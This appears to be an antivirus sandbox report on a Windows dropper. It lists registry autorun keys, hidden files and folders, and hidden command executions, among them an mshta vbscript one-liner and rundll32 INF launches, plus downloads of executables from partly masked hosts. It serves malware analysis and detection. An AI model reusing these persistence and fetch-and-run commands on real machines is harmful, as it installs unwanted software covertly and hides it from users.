Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Microsoft Corporation' = 'D:\Microsoft\MicrosoftSystem.exe'
- [<HKLM>\Software\Classes\CLSID\{E68BD5B0-E6AA-21d0-9EDA-00A02488FCDF}\Shell\Open\Command] '' = 'D:\Microsoft\advinst.exe ->'
Malicious functions
To complicate detection of its presence in the operating system,
modifies the following system settings:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoInternetIcon' = '{01}'
Executes the following
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' http://cn##.dgnjf.com/info.access/?st##########
Modifies file system
Creates the following files
- %TEMP%\~ad7d.bat
- nul
- %HOMEPATH%\favorites\ð¡µçó°.txt
- %HOMEPATH%\favorites\ГГё-ö·-ö®-ВјГІ.txt
- D:\microsoft\microsoft.vc90.crt\msvcr90.dll
- D:\microsoft\microsoft.vc90.crt\microsoft.vc90.crt.manifest
- D:\microsoft\microsoftsystem.exe
- D:\microsoft\advinst.exe
- C:\documents and settings\all users\Г—Г ГЈГ¦\set1229.tmp
- D:\document\start.vbs
- D:\document\myaddreg.inf
- D:\document\main.vbs
- D:\document\internat explorer.lnk
- D:\document\delie.inf
- D:\document\copy.inf
- %LOCALAPPDATA%\setup.msi
- %LOCALAPPDATA%\in.exe
- D:\document\myaddreg.reg
- C:\documents and settings\all users\¡¸¿ªê¼¡¹²ëµ¥\set1239.tmp
Sets the 'hidden' attribute to the following files
- %TEMP%\~ad7d.bat
Deletes the following files
- %LOCALAPPDATA%\setup.msi
Moves the following files
- from %HOMEPATH%\favorites\ГГё-ö·-ö®-ВјГІ.txt to %HOMEPATH%\favorites\ГГё-ö·-ö®-ВјГІ.url
- from %HOMEPATH%\favorites\ð¡µçó°.txt to %HOMEPATH%\favorites\ð¡µçó°.url
- from C:\documents and settings\all users\Г—Г ГЈГ¦\set1229.tmp to C:\documents and settings\all users\Г—Г ГЈГ¦\internat explorer.lnk
- from C:\documents and settings\all users\¡¸¿ªê¼¡¹²ëµ¥\set1239.tmp to C:\documents and settings\all users\¡¸¿ªê¼¡¹²ëµ¥\internat explorer.lnk
Network activity
TCP
HTTP GET requests
- http://in####l.5cnd.com/install/hi.exe
- http://in####l.5cnd.com/install/rar.exe
UDP
- DNS ASK in####l.5cnd.com
- DNS ASK cn##.dgnjf.com
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'Static' WindowName: ''
Creates and executes the following
- 'D:\microsoft\advinst.exe' %LOCALAPPDATA%\setup.msi
- '%WINDIR%\syswow64\wscript.exe' "D:\Document\start.vbs" "%LOCALAPPDATA%\setup.msi"
- '%LOCALAPPDATA%\in.exe' "http://in####l.5cnd.com/install/hi.exe"
- '<SYSTEM32>\wscript.exe' D:\Document\Main.vbs
- '%LOCALAPPDATA%\in.exe' "http://in####l.5cnd.com/install/rar.exe"
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~AD7D.bat "<Full path to file>"' (with hidden window)
- '%WINDIR%\regedit.exe' /s D:\Document\myaddreg.reg' (with hidden window)
- '<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\myaddreg.inf,DefaultInstall' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\ГЌГё-Г–В·-Г–В®-ВјГ’.txt" ГЌГё-Г–В·-Г–В®-ВјГ’.url' (with hidden window)
- '<SYSTEM32>\regedt32.exe' /s D:\Document\myaddreg.reg' (with hidden window)
- '<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Document"' (with hidden window)
- '<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Microsoft"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\СµçÓ°.txt" СµçÓ°.url' (with hidden window)
- '<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\copy.inf,DefaultInstall' (with hidden window)
- '<SYSTEM32>\wscript.exe' D:\Document\Main.vbs' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c D:\Document\Start.vbs "%LOCALAPPDATA%\setup.msi"' (with hidden window)
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' http://cn##.dgnjf.com/info.access/?st##########' (with hidden window)
- '<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\delie.inf,DefaultInstall' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~AD7D.bat "<Full path to file>"
- '%WINDIR%\syswow64\msiexec.exe' /i "%LOCALAPPDATA%\setup.msi"
- '%WINDIR%\syswow64\cmd.exe' /c D:\Document\Start.vbs "%LOCALAPPDATA%\setup.msi"
- '<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Microsoft"
- '<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Document"
- '<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\ГЌГё-Г–В·-Г–В®-ВјГ’.txt" ГЌГё-Г–В·-Г–В®-ВјГ’.url
- '%WINDIR%\syswow64\mshta.exe' vbscript:createobject("wscript.shell").run("""iexplore""http://cn##.dgnjf.com/info.access/?st##########",0)(window.close)
- '<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\СµçÓ°.txt" СµçÓ°.url
- '<SYSTEM32>\regedt32.exe' /s D:\Document\myaddreg.reg
- '<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\myaddreg.inf,DefaultInstall
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 180
- '%WINDIR%\regedit.exe' /s D:\Document\myaddreg.reg
- '<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\copy.inf,DefaultInstall
- '<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\delie.inf,DefaultInstall
